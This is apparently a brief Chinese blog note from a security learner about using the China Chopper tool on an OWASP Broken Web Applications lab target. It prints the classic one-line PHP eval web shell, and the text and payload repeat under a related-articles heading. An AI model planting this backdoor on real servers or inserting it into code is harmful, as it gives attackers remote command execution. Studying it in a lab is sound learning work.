最近正在學習網絡安全及滲透的知識，看到一個滲透工具–中國菜刀。通過在服務器上傳一句話木馬來獲取服務器的文件系統，然後可以像shell一樣操作服務器。靶機用的是OWASP Broken Web Applications ，用的語言是php。在發送請求該木馬文本時，會執行php文本。文本如下：
<?php @eval($_POST['pass']);?>
網絡安全滲透
發表評論
所有評論
還沒有人評論，想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章
最近正在學習網絡安全及滲透的知識，看到一個滲透工具–中國菜刀。通過在服務器上傳一句話木馬來獲取服務器的文件系統，然後可以像shell一樣操作服務器。靶機用的是OWASP Broken Web Applications ，用的語言是php。在發送請求該木馬文本時，會執行php文本。文本如下：
<?php @eval($_POST['pass']);?>